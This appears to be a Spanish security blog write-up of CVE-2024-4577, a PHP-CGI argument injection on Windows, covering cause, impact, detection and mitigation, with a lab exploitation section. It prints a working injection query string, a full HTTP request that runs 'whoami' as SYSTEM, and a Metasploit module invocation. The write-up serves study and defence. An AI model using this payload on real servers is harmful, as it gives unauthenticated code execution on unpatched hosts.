cd ~/blog

~/vulns/php-cgi-argument-injection-cve-2024-4577.md

PHP CGI Argument Injection (CVE-2024-4577)

rceautor: Jordy Pérez Osorio aviso legal
PHPRCEWindows

~2 min de lectura


1. Descripción técnica

CVE-2024-4577 es una vulnerabilidad de Argument Injection en PHP-CGI sobre Windows que puede conducir a Remote Code Execution sin autenticación. La corrección anterior de CVE-2012-1823 no contemplaba determinadas conversiones Best-Fit de Windows.

El fallo está en cómo Apache (vía mod_cgi/php-cgi) pasa la query string a php-cgi.exe. En las versiones de Windows con ciertos locales (notablemente japonés (932), chino tradicional/simplificado), la conversión de caracteres ("Best-Fit") transforma el carácter guion suave 0xAD (soft hyphen) en un guion normal -. Esto permite que un atacante "inyecte" un guion donde PHP no lo esperaba, colando opciones de línea de comandos a php-cgi.exe como si fueran argumentos legítimos.

Abusando de las flags de configuración (-d), se habilita allow_url_include y se fuerza auto_prepend_file=php://input, de modo que el cuerpo de la petición se ejecuta como código PHP:

?%add+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input

2. Impacto de la vulnerabilidad

  • RCE no autenticado con los privilegios de la cuenta que ejecuta el servicio web. En 123-omg esa cuenta es NT AUTHORITY\SYSTEM, pero no debe generalizarse a toda instalación.
  • Compromiso total del servidor sin necesidad de credenciales.
  • Lectura, modificación o ejecución limitada por los permisos reales de la cuenta del servicio.

3. Contexto

  • Descubierta por Orange Tsai (DEVCORE) y publicada en junio de 2024.
  • Parcheada en PHP 8.3.8, 8.2.20 y 8.1.29.

4. Condiciones necesarias

  1. PHP-CGI en Windows dentro de una configuración web que entregue la query string como argumentos.
  2. Una página de códigos cuya conversión Best-Fit transforme el carácter suministrado en -.
  3. Versión de PHP previa al parche (< 8.3.8 / 8.2.20 / 8.1.29).
  4. Acceso HTTP al handler vulnerable. Detectar XAMPP o php-cgi.exe no confirma por sí solo todas estas condiciones.

5. Validación y detección

  • Identificar XAMPP/PHP-CGI en Windows y su versión y locale:
curl http://<ip>/xampp/.version
# 8.2.12
# LAN=日本語   → locale japonés ⇒ vulnerable
  • Comprobar la ejecución con un payload de prueba (ver §7).

6. Mitigación

  1. Actualizar PHP a 8.3.8 / 8.2.20 / 8.1.29 o superior.
  2. Dejar de usar la arquitectura PHP-CGI (preferir Mod-PHP, FastCGI/PHP-FPM).
  3. Reglas de mod_rewrite para bloquear el patrón de inyección (mitigación temporal recomendada por PHP).
  4. Evitar locales vulnerables si no son necesarios.

7. Explotación documentada en 123-omg

Máquina OMG de HMV. Verificación de RCE (devuelve el usuario del proceso):

GET /php-cgi/php-cgi.exe?%add+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: 192.168.1.12
Content-Length: 26

<?=`"whoami"`; exit();
HTTP/1.1 200 OK
...
nt authority\system

Shell con Metasploit:

msf6 > use exploit/windows/http/php_cgi_arg_injection_rce_cve_2024_4577
msf6 ... > set rhosts 192.168.1.12
msf6 ... > run
[+] The target is vulnerable. Apache
whoami
nt authority\system

8. Clasificación

  • Tipo: Argument Injection / Remote Code Execution
  • CVE: CVE-2024-4577
  • CWE:
    • CWE-88: Improper Neutralization of Argument Delimiters in a Command

9. Referencias y conexiones

// relacionados